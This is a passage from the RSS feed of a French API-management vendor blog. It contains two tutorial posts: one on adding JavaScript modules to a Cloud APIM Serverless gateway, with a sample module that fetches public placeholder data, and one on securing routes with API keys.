&lt;p&gt;&lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;&lt;strong&gt;Inscrivez-vous dès maintenant&lt;/strong&gt;&lt;/a&gt; et faites le premier pas vers un &lt;strong&gt;API management&lt;/strong&gt; sécurisé et efficace !&lt;/p&gt;
&lt;h3 id=&quot;-restez-à-lécoute&quot;&gt;&lt;strong&gt;📡 Restez à l’écoute&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Suivez notre blog pour découvrir les dernières nouveautés, nos astuces et nos bonnes pratiques autour de &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; et de l’&lt;strong&gt;API management&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-à-propos-de-cloud-apim&quot;&gt;&lt;strong&gt;🏢 À propos de Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose des &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;solutions managées de pointe pour l’API management&lt;/a&gt;, qui permettent aux entreprises d’exploiter tout le potentiel de leurs API, simplement et efficacement. Notre engagement envers l’innovation et l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils les plus avancés&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;des services&lt;/a&gt; qui les aident à mener à bien leur transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:creator>Mathieu Ancelin</dc:creator><dc:language>fr</dc:language><category>API</category><category>APIM</category><category>Environnements</category><category>API gateway</category><category>API management</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.DlT01-on_Zd0JWt.jpg" length="0" type="image/jpeg"/></item><item><title>🛠️ Libérez la puissance des API gateways programmables : personnalisez vos API avec des modules JavaScript</title><link>https://blog.cloud-apim.com/personnalisez-vos-api-avec-des-modules-javascript</link><guid isPermaLink="true">https://blog.cloud-apim.com/personnalisez-vos-api-avec-des-modules-javascript</guid><description>Quand ni l&apos;API ni ses clients ne peuvent s&apos;adapter, les modules JavaScript de Cloud APIM Serverless vous permettent de tout personnaliser dans la gateway.</description><pubDate>Thu, 13 Jun 2024 09:28:13 GMT</pubDate><content:encoded>&lt;p&gt;Parfois, les API existantes sont bien pensées et bien conçues ; parfois, les clients sont souples et savent s’adapter aux réponses de l’API.&lt;/p&gt;
&lt;p&gt;Et parfois, tout part de travers…&lt;/p&gt;
&lt;p&gt;Dans ces cas-là, pouvoir tout personnaliser à un endroit central, pour que tout le monde y trouve son compte, peut vraiment vous sauver la mise.&lt;/p&gt;
&lt;p&gt;🚀 C’est pourquoi nous sommes ravis de vous présenter notre nouvelle fonctionnalité : les &lt;strong&gt;modules JavaScript&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cette nouvelle fonctionnalité de &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; permet aux développeurs d’adapter leurs API exactement à leurs besoins.&lt;/p&gt;
&lt;div class=&quot;embed embed-video&quot;&gt;&lt;iframe src=&quot;https://www.youtube-nocookie.com/embed/4awrYEEIv_0&quot; title=&quot;Vidéo YouTube&quot; loading=&quot;lazy&quot; allow=&quot;accelerometer; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;
### **🤔 Que sont les modules JavaScript ?**
&lt;p&gt;🔄 Les modules JavaScript sont des blocs de code réutilisables, écrits en JavaScript, que vous pouvez facilement intégrer à vos API.&lt;/p&gt;
&lt;p&gt;Ces modules encapsulent une fonctionnalité précise (validation de données, transformation, logique métier sur mesure…) et vous permettent d’enrichir et d’étendre les capacités de vos &lt;strong&gt;API&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-pourquoi-intégrer-des-modules-javascript-&quot;&gt;💡 &lt;strong&gt;Pourquoi intégrer des modules JavaScript ?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Avec les modules JavaScript, vous êtes libre de personnaliser chaque aspect de votre API.&lt;/p&gt;
&lt;p&gt;Qu’il s’agisse d’implémenter des règles de validation complexes, de transformer des formats de données ou de vous intégrer à des services externes, les &lt;strong&gt;modules JavaScript&lt;/strong&gt; offrent une solution souple et puissante.&lt;/p&gt;
&lt;p&gt;En vous appuyant sur des modules existants ou en créant les vôtres, vous accélérez le développement et simplifiez la maintenance, tout en préservant la scalabilité et la fiabilité de vos API.&lt;/p&gt;
&lt;h3 id=&quot;-les-principaux-avantages-des-modules-javascript&quot;&gt;🌟 &lt;strong&gt;Les principaux avantages des modules JavaScript&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Flexibilité&lt;/strong&gt; : les modules JavaScript vous permettent d’adapter vos API aux besoins spécifiques de vos applications et de vos utilisateurs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Réutilisabilité&lt;/strong&gt; : réutilisez les mêmes modules sur plusieurs API pour gagner du temps et de l’énergie lors du développement.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scalabilité&lt;/strong&gt; : faites monter vos API en charge sans effort grâce à une architecture modulaire et au calcul distribué.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Maintenabilité&lt;/strong&gt; : simplifiez la maintenance et les mises à jour en encapsulant la logique dans des modules autonomes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Innovation&lt;/strong&gt; : expérimentez de nouvelles fonctionnalités sans perturber les API existantes, et cultivez une culture de l’innovation et de l’amélioration continue. 🚀&lt;/p&gt;
&lt;h3 id=&quot;-premiers-pas-avec-les-modules-javascript&quot;&gt;&lt;strong&gt;🏁 Premiers pas avec les modules JavaScript&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Se lancer avec les modules JavaScript dans &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;, c’est simple.&lt;/p&gt;
&lt;p&gt;Parcourez notre bibliothèque de modules prêts à l’emploi, ou créez les vôtres avec votre framework JavaScript préféré.&lt;/p&gt;
&lt;p&gt;💻 Intégrez vos modules à vos API en toute simplicité grâce à notre interface intuitive, et exploitez dès aujourd’hui tout le potentiel de la personnalisation.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Inscrivez-vous sur Cloud APIM Serverless :&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Avant de mettre en place un &lt;strong&gt;module JavaScript&lt;/strong&gt;, assurez-vous d’avoir créé un projet sur &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Si ce n’est pas encore fait, suivez ces étapes :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Connectez-vous à votre &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;tableau de bord Cloud APIM Serverless&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cliquez sur &lt;em&gt;“New project”&lt;/em&gt; et saisissez le nom de votre projet.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Créez votre premier module :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Rendez-vous dans le dossier &lt;em&gt;“modules”&lt;/em&gt; et créez-y un nouveau fichier.&lt;/p&gt;
&lt;p&gt;Le nom de votre fichier doit se terminer par &lt;strong&gt;‘.js’&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Par exemple, vous pouvez créer un fichier nommé &lt;strong&gt;‘first-module.js’&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Copiez-collez le code suivant et modifiez-le à votre guise&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;exports&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;on_backend_call&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;ctx&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt; fetch&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;`https://jsonplaceholder.typicode.com/todos`&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    .&lt;/span&gt;&lt;span&gt;then&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;response&lt;/span&gt;&lt;span&gt; =&gt;&lt;/span&gt;&lt;span&gt; response.&lt;/span&gt;&lt;span&gt;json&lt;/span&gt;&lt;span&gt;())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    .&lt;/span&gt;&lt;span&gt;then&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;json&lt;/span&gt;&lt;span&gt; =&gt;&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      return&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        status: &lt;/span&gt;&lt;span&gt;200&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        headers: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &apos;Content-Type&apos;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&apos;application/json&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        body_json: { &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          size: json.&lt;/span&gt;&lt;span&gt;length&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          data: json &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Associez votre module à votre route :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Sélectionnez le fichier &lt;em&gt;“openapi.json”&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Choisissez la route à laquelle vous voulez ajouter le plugin, ou créez-en une si vous n’en avez pas encore&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dans la section ’ plugins ’, choisissez &lt;strong&gt;Javascript Module Plugin&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Il ne vous reste plus qu’à indiquer le nom du fichier de votre module&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;module&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;/modules/first-module.js&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;-conclusion&quot;&gt;&lt;strong&gt;🎉 Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Les modules JavaScript changent la donne en matière de personnalisation d’API, avec une flexibilité, une réutilisabilité et une scalabilité inégalées.&lt;/p&gt;
&lt;p&gt;Avec &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;, vous disposez de tous les outils pour faire passer vos API à la vitesse supérieure et offrir une expérience exceptionnelle à vos utilisateurs.&lt;/p&gt;
&lt;p&gt;Adoptez la puissance des modules JavaScript et changez pour de bon votre façon de construire des API.&lt;/p&gt;
&lt;h3 id=&quot;-lancez-vous-dès-maintenant&quot;&gt;&lt;strong&gt;🚀 Lancez-vous dès maintenant&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Envie de vous lancer avec &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; ?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;&lt;strong&gt;Inscrivez-vous dès maintenant&lt;/strong&gt;&lt;/a&gt; et faites le premier pas vers un &lt;strong&gt;API management&lt;/strong&gt; sécurisé et efficace !&lt;/p&gt;
&lt;h3 id=&quot;-restez-à-lécoute&quot;&gt;&lt;strong&gt;📡 Restez à l’écoute&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Suivez notre blog pour découvrir les dernières nouveautés, nos astuces et nos bonnes pratiques autour de &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; et de l’&lt;strong&gt;API management&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-à-propos-de-cloud-apim&quot;&gt;&lt;strong&gt;🏢 À propos de Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose des &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;solutions managées de pointe pour l’API management&lt;/a&gt;, qui permettent aux entreprises d’exploiter tout le potentiel de leurs API, simplement et efficacement. Notre engagement envers l’innovation et l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils les plus avancés&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;des services&lt;/a&gt; qui les aident à mener à bien leur transformation numérique.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:creator>Thomas Delafaye</dc:creator><dc:language>fr</dc:language><category>API</category><category>APIM</category><category>FaaS</category><category>JavaScript</category><category>API management</category><category>API gateway</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.DYigblih_Z1F9ELm.jpg" length="0" type="image/jpeg"/></item><item><title>🔒 Sécurisez vos API avec des clés d&apos;API : premiers pas avec Cloud APIM Serverless</title><link>https://blog.cloud-apim.com/securisez-vos-api-avec-des-cles-d-api-cloud-apim-serverless</link><guid isPermaLink="true">https://blog.cloud-apim.com/securisez-vos-api-avec-des-cles-d-api-cloud-apim-serverless</guid><description>🔑 L&apos;authentification par clé d&apos;API est un pilier de la sécurité de vos API. Découvrez comment la mettre en place sur vos routes Cloud APIM Serverless.</description><pubDate>Fri, 07 Jun 2024 08:56:32 GMT</pubDate><content:encoded>&lt;p&gt;🔑 L’authentification par clé d’API est un élément fondamental pour sécuriser vos API et contrôler l’accès à vos ressources.&lt;/p&gt;
&lt;p&gt;Avec &lt;a href=&quot;https://www.cloud-apim.com/fr/serverless&quot;&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;&lt;/a&gt;, mettre en place l’authentification par clé d’API sur vos routes est simple et efficace.&lt;/p&gt;
&lt;p&gt;En générant une clé d’API unique pour chaque utilisateur ou application autorisé, vous sécurisez l’accès à vos API tout en suivant et en contrôlant leur utilisation.&lt;/p&gt;
&lt;p&gt;Dans ce guide, nous verrons comment configurer l’authentification par clé d’API sur des routes &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt;, pour protéger efficacement vos API et vos données.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/FoaNJD5bYno?si=UB7cZur9UHn7Rcob&quot;&gt;&lt;/iframe&gt;
&lt;h2 id=&quot;-quest-ce-quune-clé-dapi-&quot;&gt;&lt;strong&gt;🤔&lt;/strong&gt; Qu’est-ce qu’une clé d’API ?&lt;/h2&gt;
&lt;p&gt;Les clés d’API sont des identifiants uniques transmis avec les requêtes pour authentifier l’application appelante.&lt;/p&gt;
&lt;p&gt;Elles permettent de suivre et de contrôler l’utilisation de l’API, en garantissant que seuls les utilisateurs autorisés peuvent y accéder.&lt;/p&gt;
&lt;h2 id=&quot;-pourquoi-utiliser-des-clés-dapi-&quot;&gt;&lt;strong&gt;🔑 Pourquoi utiliser des clés d’API ?&lt;/strong&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;🔒 Sécurité :&lt;/strong&gt; les clés d’API font office de gardien, en restreignant l’accès à votre API et en garantissant que seules les applications autorisées peuvent interagir avec elle.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;📊 &lt;strong&gt;Suivi de l’utilisation :&lt;/strong&gt; les clés d’API servent de balises de suivi qui vous permettent de surveiller l’utilisation de votre API et d’obtenir des analyses précieuses sur les habitudes d’usage.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;⏱️ Rate limiting :&lt;/strong&gt; avec les clés d’API, vous pouvez imposer des limites de débit pour éviter les abus et garantir une utilisation équitable, tout en maintenant des performances optimales pour tous les utilisateurs.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;-configurer-des-clés-dapi-avec-cloud-apim-serverless&quot;&gt;&lt;strong&gt;🔧 Configurer des clés d’API avec Cloud APIM Serverless&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id=&quot;-étape-1--créer-un-projet-serverless&quot;&gt;&lt;strong&gt;🆕 Étape 1 : créer un projet Serverless&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Avant de configurer des clés d’API, assurez-vous d’avoir créé une API dans Cloud APIM Serverless. Si ce n’est pas encore fait, suivez ces étapes :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Connectez-vous à votre &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;tableau de bord Cloud APIM Serverless&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cliquez sur « New project » et saisissez le nom de votre projet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Choisissez GitHub comme fournisseur et forkez le modèle de projet vide&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;-étape-2--activer-lauthentification-par-clé-dapi&quot;&gt;&lt;strong&gt;🔐 Étape 2 : activer l’authentification par clé d’API&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;1. &lt;strong&gt;Ouvrez votre fichier OpenAPI :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Dans votre &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;tableau de bord Cloud APIM Serverless&lt;/a&gt;, sélectionnez l’API à sécuriser&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sélectionnez le fichier &lt;em&gt;« openapi.json »&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Choisissez la route sur laquelle activer l’authentification par clé d’API, ou créez-en une si vous n’en avez pas encore&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;si vous souhaitez créer une route, cliquez sur &lt;em&gt;« Create new route »&lt;/em&gt; et renseignez le chemin ‘/todos’ et la méthode ‘GET’.&lt;/p&gt;
&lt;p&gt;Ajoutez le plugin « Override host header »&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 1355px) 1355px, 100vw&quot; width=&quot;1355&quot; height=&quot;1125&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-2d61d2.DmmF0KIp_ZvJ32D.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-2d61d2.DmmF0KIp_Z15jNv5.webp 640w, https://blog.cloud-apim.com/_astro/01-2d61d2.DmmF0KIp_1v7sYj.webp 750w, https://blog.cloud-apim.com/_astro/01-2d61d2.DmmF0KIp_11bKf2.webp 828w, https://blog.cloud-apim.com/_astro/01-2d61d2.DmmF0KIp_ZfvkOs.webp 1080w, https://blog.cloud-apim.com/_astro/01-2d61d2.DmmF0KIp_1YzLLi.webp 1280w, https://blog.cloud-apim.com/_astro/01-2d61d2.DmmF0KIp_ZvJ32D.webp 1355w&quot;&gt;&lt;/p&gt;
&lt;p&gt;2. &lt;strong&gt;Ajoutez le plugin d’authentification par clé d’API :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Dans la liste des plugins, cliquez sur &lt;em&gt;« add plugin »&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Recherchez le plugin « &lt;strong&gt;ApiKeys&lt;/strong&gt; »&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vous pouvez maintenant enregistrer la configuration par défaut et pousser vos modifications sur GitHub&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 1359px) 1359px, 100vw&quot; width=&quot;1359&quot; height=&quot;1147&quot; src=&quot;https://blog.cloud-apim.com/_astro/02-bb8ca6.D_iO6xBM_Z2jAYNo.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/02-bb8ca6.D_iO6xBM_18tHxA.webp 640w, https://blog.cloud-apim.com/_astro/02-bb8ca6.D_iO6xBM_Z2oownm.webp 750w, https://blog.cloud-apim.com/_astro/02-bb8ca6.D_iO6xBM_5A7st.webp 828w, https://blog.cloud-apim.com/_astro/02-bb8ca6.D_iO6xBM_Z13HTCC.webp 1080w, https://blog.cloud-apim.com/_astro/02-bb8ca6.D_iO6xBM_qnV6p.webp 1280w, https://blog.cloud-apim.com/_astro/02-bb8ca6.D_iO6xBM_Z2jAYNo.webp 1359w&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;-étape-3--générer-des-clés-dapi&quot;&gt;&lt;strong&gt;🔑 Étape 3 : générer des clés d’API&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;1. &lt;strong&gt;Ouvrez la section API Keys depuis votre barre d’outils :&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;- Dans le tableau de bord, rendez-vous dans la section « API Keys ».&lt;/p&gt;
&lt;p&gt;2. &lt;strong&gt;Créez une nouvelle clé d’API :&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;- Cliquez sur le bouton « &lt;strong&gt;+&lt;/strong&gt; » pour créer une nouvelle clé d’API&lt;/p&gt;
&lt;p&gt;- Renseignez les informations comme le nom de la clé, ajoutez des utilisateurs comme gestionnaires, sélectionnez les environnements et définissez vos propres quotas pour chaque clé d’API&lt;/p&gt;
&lt;p&gt;- Cliquez sur « save » pour créer la clé d’API.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 834px) 834px, 100vw&quot; width=&quot;834&quot; height=&quot;1010&quot; src=&quot;https://blog.cloud-apim.com/_astro/03-cbf719.BglwH8Jh_Z1dziT7.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/03-cbf719.BglwH8Jh_xIyG2.webp 640w, https://blog.cloud-apim.com/_astro/03-cbf719.BglwH8Jh_Z10H9f9.webp 750w, https://blog.cloud-apim.com/_astro/03-cbf719.BglwH8Jh_ZWsWKe.webp 828w, https://blog.cloud-apim.com/_astro/03-cbf719.BglwH8Jh_Z1dziT7.webp 834w&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;-étape-4--utiliser-les-clés-dapi-dans-vos-requêtes&quot;&gt;&lt;strong&gt;🌐 Étape 4 : utiliser les clés d’API dans vos requêtes&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Pour appeler votre API avec la clé d’API, cliquez sur « tools » dans votre barre d’outils, puis sélectionnez « &lt;strong&gt;Tests&lt;/strong&gt; »&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sélectionnez la méthode à utiliser, le chemin de la route et la clé d’API créée précédemment&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cliquez sur le bouton « &lt;strong&gt;Run&lt;/strong&gt; » pour envoyer la requête&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le corps de la réponse s’affiche en bas de la fenêtre de test&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 815px) 815px, 100vw&quot; width=&quot;815&quot; height=&quot;851&quot; src=&quot;https://blog.cloud-apim.com/_astro/04-e951d7.BZJR5uHi_20i9oB.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/04-e951d7.BZJR5uHi_Z1H77hR.webp 640w, https://blog.cloud-apim.com/_astro/04-e951d7.BZJR5uHi_Z2iqefD.webp 750w, https://blog.cloud-apim.com/_astro/04-e951d7.BZJR5uHi_20i9oB.webp 815w&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;-bonnes-pratiques-de-gestion-des-clés-dapi&quot;&gt;&lt;strong&gt;🚪 Bonnes pratiques de gestion des clés d’API&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;🔒 &lt;strong&gt;Gardez vos clés confidentielles :&lt;/strong&gt; n’exposez jamais vos clés d’API dans des dépôts publics, du code côté client ou des emplacements non sécurisés.&lt;/p&gt;
&lt;p&gt;🔄 &lt;strong&gt;Renouvelez vos clés régulièrement :&lt;/strong&gt; régénérez périodiquement vos clés d’API pour limiter le risque de compromission.&lt;/p&gt;
&lt;p&gt;👀 &lt;strong&gt;Surveillez l’utilisation :&lt;/strong&gt; consultez régulièrement les logs d’utilisation pour détecter toute activité inhabituelle ou non autorisée.&lt;/p&gt;
&lt;p&gt;⏱️ &lt;strong&gt;Appliquez des limites de débit :&lt;/strong&gt; mettez en place du rate limiting pour protéger votre API des abus et garantir une utilisation équitable.&lt;/p&gt;
&lt;h2 id=&quot;-conclusion&quot;&gt;&lt;strong&gt;🎉 Conclusion&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Sécuriser vos API avec des clés d’API est une étape fondamentale pour protéger vos services et garantir une utilisation efficace.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; simplifie la configuration et la gestion des clés d’API, avec une sécurité robuste et des analyses pertinentes.&lt;/p&gt;
&lt;p&gt;En suivant les étapes décrites ci-dessus, vous vous assurez que vos API sont sécurisées et prêtes à l’emploi.&lt;/p&gt;
&lt;h3 id=&quot;-lancez-vous-dès-maintenant&quot;&gt;&lt;strong&gt;🚀 Lancez-vous dès maintenant&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Prêt à vous lancer avec &lt;strong&gt;Cloud APIM Serverless&lt;/strong&gt; ?&lt;/p&gt;
